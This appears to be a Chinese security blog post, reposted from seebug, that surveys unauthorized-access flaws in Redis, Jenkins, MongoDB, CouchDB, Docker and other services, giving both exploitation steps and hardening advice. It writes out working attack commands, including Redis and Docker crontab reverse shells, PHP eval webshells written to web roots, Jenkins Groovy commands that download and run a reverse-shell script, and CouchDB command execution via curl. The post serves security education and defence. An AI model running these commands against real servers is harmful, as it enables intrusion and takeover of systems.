未授權(quán)訪問(wèn)漏洞總結(jié)

遵紀(jì)守法

任何個(gè)人和組織使用網(wǎng)絡(luò)應(yīng)當(dāng)遵守憲法法律,遵守公共秩序,尊重社會(huì)公德,不得危害網(wǎng)絡(luò)安全,不得利用網(wǎng)絡(luò)從事危害國(guó)家安全、榮譽(yù)和利益

0x01 介紹

未授權(quán)訪問(wèn)可以理解為需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁(yè)面存在缺陷,導(dǎo)致其他用戶可以直接訪問(wèn),從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫(kù)、網(wǎng)站目錄等敏感信息泄露。

目前主要存在未授權(quán)訪問(wèn)漏洞的有:NFS 服務(wù),Samba 服務(wù),LDAP,Rsync,F(xiàn)TP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,本文主要介紹一些目前比較常用的一些服務(wù)的未授權(quán)訪問(wèn),歡迎大家補(bǔ)充!

0x02 Redis未授權(quán)訪問(wèn)

2.1 漏洞描述

Redis 因配置不當(dāng)可以未授權(quán)訪問(wèn)。攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行 flushall 來(lái)清空所有數(shù)據(jù)。如果 Redis 以 root 身份運(yùn)行,可以給 root 賬戶寫(xiě)入 SSH 公鑰文件,直接通過(guò) SSH 登錄受害服務(wù)器。

2.2 漏洞利用
1、利用計(jì)劃任務(wù)執(zhí)行命令反彈shell

在 redis 以 root 權(quán)限運(yùn)行時(shí)可以寫(xiě) crontab 來(lái)執(zhí)行命令反彈shell

先在自己的服務(wù)器上監(jiān)聽(tīng)一個(gè)端口

nc -lvnp 4444

然后執(zhí)行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2、寫(xiě) ssh-keygen 公鑰登錄服務(wù)器

在以下條件下,可以利用此方法

  1. Redis服務(wù)使用 root 賬號(hào)啟動(dòng)
  2. 服務(wù)器開(kāi)放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫(xiě)入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。此方法具體參考:redis配置不當(dāng)可直接導(dǎo)致服務(wù)器被控制
3、獲取 web 服務(wù)的 webshell

當(dāng) redis 權(quán)限不高時(shí),并且服務(wù)器開(kāi)著 web 服務(wù),在 redis 有 web 目錄寫(xiě)權(quán)限時(shí),可以嘗試往 web 路徑寫(xiě) webshell。

執(zhí)行以下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

即可將 shell 寫(xiě)入 web 目錄

2.3 漏洞加固

可以配置 redis.conf 這個(gè)文件,在安裝目錄下

1、默認(rèn)只對(duì)本地開(kāi)放
bind 127.0.0.1

2、添加登陸密碼
requirepass www.secpulse.com

3、在需要對(duì)外開(kāi)放的時(shí)候修改默認(rèn)端口
port 2333

4、最后還可以配合iptables限制開(kāi)放

0x03 Jenkins 未授權(quán)訪問(wèn)

3.1 漏洞描述

默認(rèn)情況下 Jenkins 面板中用戶可以選擇執(zhí)行腳本界面來(lái)操作一些系統(tǒng)層命令,攻擊者可通過(guò)未授權(quán)訪問(wèn)漏洞或者暴力破解用戶密碼等進(jìn)腳本執(zhí)行界面從而獲取服務(wù)器權(quán)限。

3.2 漏洞利用
1、Jenkins 未授權(quán)訪問(wèn)可執(zhí)行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script

println "ifconfig -a".execute().text 執(zhí)行一些系統(tǒng)命令

直接 wget 下載 back.py 反彈 shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py 并不需要 root 權(quán)限

不想反彈試試 Terminal Plugin

2、Jenkins 未授權(quán)訪問(wèn)寫(xiě) shell

jenskins 是 java web 項(xiàng)目,我們用 java 的 File 類寫(xiě)文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一個(gè)內(nèi)容為1,2,3(每一行)的 1.txt 到 c 盤(pán)的 temp 文件夾,運(yùn)行如下命令println “powershell dir c:\temp”.execute().text如果寫(xiě)成功,那么 secpulse.txt 就會(huì)在返回結(jié)果中!

wget寫(xiě)webshell

1\. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2\. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3\. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4\. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數(shù)-n 不要在最后自動(dòng)換行

Result: 0 表示成功寫(xiě)入 Result: 1 表示目錄不存在或者權(quán)限不足 寫(xiě)入失敗 Result: 2 表示構(gòu)造有異常 寫(xiě)入失敗

具體其他詳細(xì)利用方法參考:知其一不知其二之Jenkins Hacking

3.3 漏洞加固

1、禁止把Jenkins直接暴露在公網(wǎng)

2、添加認(rèn)證,設(shè)置強(qiáng)密碼復(fù)雜度及賬號(hào)鎖定。

0x04 MongoDB未授權(quán)訪問(wèn)

4.1 漏洞描述

開(kāi)啟 MongoDB 服務(wù)時(shí)不添加任何參數(shù)時(shí),默認(rèn)是沒(méi)有權(quán)限驗(yàn)證的,而且可以遠(yuǎn)程訪問(wèn)數(shù)據(jù)庫(kù),登錄的用戶可以通過(guò)默認(rèn)端口無(wú)需密碼對(duì)數(shù)據(jù)庫(kù)進(jìn)行增、刪、改、查等任意高危操作。

4.2 漏洞利用
4.3 漏洞加固
1、為MongoDB添加認(rèn)證:

1)MongoDB啟動(dòng)時(shí)添加--auth參數(shù)

2)給MongoDB添加用戶:

use admin #使用admin庫(kù)

db.addUser("root", "123456") #添加用戶名root密碼123456的用戶

db.auth("root","123456") #驗(yàn)證下是否添加成功,返回1說(shuō)明成功

2、禁用HTTP和REST端口

MongoDB 自身帶有一個(gè) HTTP 服務(wù)和并支持 REST 接口。在2.6以后這些接口默認(rèn)是關(guān)閉的。mongoDB 默認(rèn)會(huì)使用默認(rèn)端口監(jiān)聽(tīng)web服務(wù),一般不需要通過(guò) web 方式進(jìn)行遠(yuǎn)程管理,建議禁用。修改配置文件或在啟動(dòng)的時(shí)候選擇 –nohttpinterface 參數(shù) nohttpinterface=false

3、限制綁定IP

啟動(dòng)時(shí)加入?yún)?shù)--bind_ip 127.0.0.1

或在/etc/mongodb.conf文件中添加以下內(nèi)容:bind_ip = 127.0.0.1

0x05 ZooKeeper 未授權(quán)訪問(wèn)

5.1 漏洞描述

Zookeeper 的默認(rèn)開(kāi)放端口是2181。Zookeeper 安裝部署之后默認(rèn)情況下不需要任何身份驗(yàn)證,造成攻擊者可以遠(yuǎn)程利用 Zookeeper,通過(guò)服務(wù)器收集敏感信息或者在 Zookeeper 集群內(nèi)進(jìn)行破壞(比如:kill命令)。攻擊者能夠執(zhí)行所有只允許由管理員運(yùn)行的命令。

5.2 漏洞利用

執(zhí)行以下命令即可遠(yuǎn)程獲取該服務(wù)器的環(huán)境: echo envi | nc ip port

直接連接: ./zkCli.sh -server ip:port

5.3 漏洞加固

1、禁止把 Zookeeper 直接暴露在公網(wǎng)

2、添加訪問(wèn)控制,根據(jù)情況選擇對(duì)應(yīng)方式(認(rèn)證用戶,用戶名密碼)

3、綁定指定 IP 訪問(wèn)

0x06 Elasticsearch 未授權(quán)訪問(wèn)

6.1 漏洞描述

Elasticsearch 是一款 java 編寫(xiě)的企業(yè)級(jí)搜索服務(wù)。越來(lái)越多的公司使用 ELK 作為日志分析,啟動(dòng)此服務(wù)默認(rèn)會(huì)開(kāi)放9200端口,可被非法操作數(shù)據(jù)

6.2 漏洞利用

漏洞檢測(cè):默認(rèn)端口9200

相當(dāng)于一個(gè)API,任何人訪問(wèn)這個(gè)地址,就可以調(diào)用api,進(jìn)行數(shù)據(jù)的增刪改操作。

http://x.x.x.x:9200/_nodes

http://x.x.x.x:9200/_river

6.3 漏洞加固

1、防火墻上設(shè)置禁止外網(wǎng)訪問(wèn) 9200 端口。

2、使用 Nginx 搭建反向代理,通過(guò)配置 Nginx 實(shí)現(xiàn)對(duì) Elasticsearch 的認(rèn)證

3、限制IP訪問(wèn),綁定固定IP

4、在config/elasticsearch.yml中為 9200 端口設(shè)置認(rèn)證:

http.basic.enabled true #開(kāi)關(guān),開(kāi)啟會(huì)接管全部HTTP連接
http.basic.user "admin" #賬號(hào)
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

0x07 Memcache 未授權(quán)訪問(wèn)

7.1 漏洞描述

Memcached 是一套常用的 key-value 緩存系統(tǒng),由于它本身沒(méi)有權(quán)限控制模塊,所以對(duì)公網(wǎng)開(kāi)放的 Memcache 服務(wù)很容易被攻擊者掃描發(fā)現(xiàn),攻擊者通過(guò)命令交互可直接讀取 Memcached 中的敏感信息。

7.2 漏洞利用

1、登錄機(jī)器執(zhí)行netstat -an |more命令查看端口監(jiān)聽(tīng)情況?;仫@ 0.0.0.0:11211 表示在所有網(wǎng)卡進(jìn)行監(jiān)聽(tīng),存在 memcached 未授權(quán)訪問(wèn)漏洞。

2、telnet <target> 11211,或nc -vv <target> 11211,提示連接成功表示漏洞存在

7.3 漏洞加固

1、設(shè)置 memchached 只允許本地訪問(wèn)

2、禁止外網(wǎng)訪問(wèn) Memcached 11211 端口

3、編譯時(shí)加上–enable-sasl,啟用SASL認(rèn)證

0x08 Hadoop 未授權(quán)訪問(wèn)

8.1 漏洞描述

由于服務(wù)器直接在開(kāi)放了 Hadoop 機(jī)器 HDFS 的 50070 web 端口及部分默認(rèn)服務(wù)端口,黑客可以通過(guò)命令行操作多個(gè)目錄下的數(shù)據(jù),如進(jìn)行刪除,下載,目錄瀏覽甚至命令執(zhí)行等操作,產(chǎn)生極大的危害。

8.2 漏洞利用

主要 HDFS 和 MapReduce 的 WebUI 對(duì)應(yīng)的服務(wù)端口。

其中比較重要的是 DataNode 默認(rèn)端口 50075 開(kāi)放的話,攻擊者可以通過(guò) hdsf 提供的 restful api 對(duì) hdfs 存儲(chǔ)數(shù)據(jù)進(jìn)行操作。

restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

8.3 漏洞加固

1、如無(wú)必要,關(guān)閉 Hadoop Web 管理頁(yè)面

2、開(kāi)啟身份驗(yàn)證,防止未經(jīng)授權(quán)用戶訪問(wèn)

3、設(shè)置“安全組”訪問(wèn)控制策略,將 Hadoop 默認(rèn)開(kāi)放的多個(gè)端口對(duì)公網(wǎng)全部禁止或限制可信任的 IP 地址才能訪問(wèn)包括 50070 以及 WebUI 等相關(guān)端口,詳細(xì)端口列表如下:

a)HDFS

  • NameNode 默認(rèn)端口 50070

  • DataNode 默認(rèn)端口 50075

  • httpfs 默認(rèn)端口14000

  • journalnode 默認(rèn)端口 8480

b)YARN(JobTracker)

  • ResourceManager 默認(rèn)端口8088

  • JobTracker 默認(rèn)端口 50030

  • TaskTracker 默認(rèn)端口 50060

c)Hue 默認(rèn)端口 8080

d)YARN(JobTracker)

  • master 默認(rèn)端口 60010

  • regionserver 默認(rèn)端口60030

e)hive-server2 默認(rèn)端口 10000

f)spark-jdbcserver 默認(rèn)端口 10003

0x09 CouchDB 未授權(quán)訪問(wèn)

9.1 漏洞描述

CouchDB 默認(rèn)在 5984 端口開(kāi)放 Restful 的 API 接口,用于數(shù)據(jù)庫(kù)的管理功能。其 HTTP Server 默認(rèn)開(kāi)啟時(shí)沒(méi)有進(jìn)行驗(yàn)證,而且綁定在0.0.0.0,所有用戶均可通過(guò) API 訪問(wèn)導(dǎo)致未授權(quán)訪問(wèn)。任何連接到服務(wù)器端口上的人,都可以調(diào)用相關(guān) API 對(duì)服務(wù)器上的數(shù)據(jù)進(jìn)行任意的增刪改查,其中通過(guò) API 修改 local.ini 配置文件,可進(jìn)一步導(dǎo)致執(zhí)行任意系統(tǒng)命令,獲取服務(wù)器權(quán)限!

9.2 漏洞利用

新增query_server配置,這里執(zhí)行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一個(gè)臨時(shí)表,插入一條記錄

curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

調(diào)用query_server處理數(shù)據(jù)

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

當(dāng)然你也可以直接執(zhí)行其他命令,下載個(gè)其他什么的

9.3 漏洞加固

1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機(jī)才能訪問(wèn)CouchDB。

2、設(shè)置訪問(wèn)密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼

0x010 Docker 未授權(quán)訪問(wèn)

10.1 漏洞描述

Docker Remote API 是一個(gè)取代遠(yuǎn)程命令行界面(rcli)的REST API。通過(guò) docker client 或者 http 直接請(qǐng)求就可以訪問(wèn)這個(gè) API,通過(guò)這個(gè)接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機(jī)的 shell

10.2 漏洞利用

http://192.168.198.130:2375/v1.25/images/json 可以獲取到所有的 images 列表

http://host:2375/containers/json

會(huì)返回服務(wù)器當(dāng)前運(yùn)行的 container 列表,和在 docker CLI 上執(zhí)行 docker ps 的效果一樣,過(guò) Post 包我們還可以新建、開(kāi)啟和關(guān)閉容器,其他操作比如拉取 image 等操作也都可以通過(guò) API 調(diào)用完成。

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Docker remote Api 未授權(quán)訪問(wèn)的攻擊原理與之前的 Redis 未授權(quán)訪問(wèn)漏洞大同小異,都是通過(guò)向運(yùn)行該應(yīng)用的服務(wù)器寫(xiě)文件,從而拿到服務(wù)器的權(quán)限,常見(jiàn)的利用方法如下:

1、啟動(dòng)一個(gè)容器,掛載宿主機(jī)的/root/目錄,之后將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內(nèi)容寫(xiě)到入宿主機(jī)的/root/.ssh/authorized_keys文件中,之后就可以用root賬戶直接登錄了

2、啟動(dòng)一個(gè)容器,掛載宿主機(jī)的/etc/目錄,之后將反彈shell的腳本寫(xiě)入到/etc/crontab中,攻擊者會(huì)得到一個(gè)反彈的shell,其中反彈shell腳本的樣例如下:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

第2種利用方法也可以掛載 var/spool/cron/目錄,將反彈shell的腳本寫(xiě)入到/var/spool/cron/root(centos系統(tǒng))或/var/spool/cron/crontabs/root(ubuntu系統(tǒng))

10.3 漏洞加固
1、在不必需的情況下,不要啟用 docker 的 remote api 服務(wù),如果必須使用的話,可以采用如下的加固方式:

設(shè)置 ACL,僅允許信任的來(lái)源 IP 連接;

設(shè)置 TLS 認(rèn)證,官方的文檔為 Protect the Docker daemon socket

2、客戶端連接時(shí)需要設(shè)置以下環(huán)境變量 export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服務(wù)器前面加一個(gè)代理,例如 nginx,設(shè)置 401 認(rèn)證
轉(zhuǎn)載出自:https://paper.seebug.org/409

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容